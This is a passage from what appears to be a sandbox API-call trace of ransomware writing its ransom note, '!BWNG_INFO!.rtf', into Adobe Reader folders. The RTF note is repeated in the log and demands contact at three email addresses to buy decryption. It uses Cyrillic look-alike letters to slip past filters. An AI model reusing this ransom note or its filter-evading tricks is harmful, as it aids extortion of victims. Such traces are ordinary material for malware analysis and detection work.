rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.586] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.587] CloseHandle (hObject=0x1cc) returned 1 [0040.587] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\!bwng_info!.rtf")) returned 0xffffffff [0040.587] GetLastError () returned 0x2 [0040.587] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 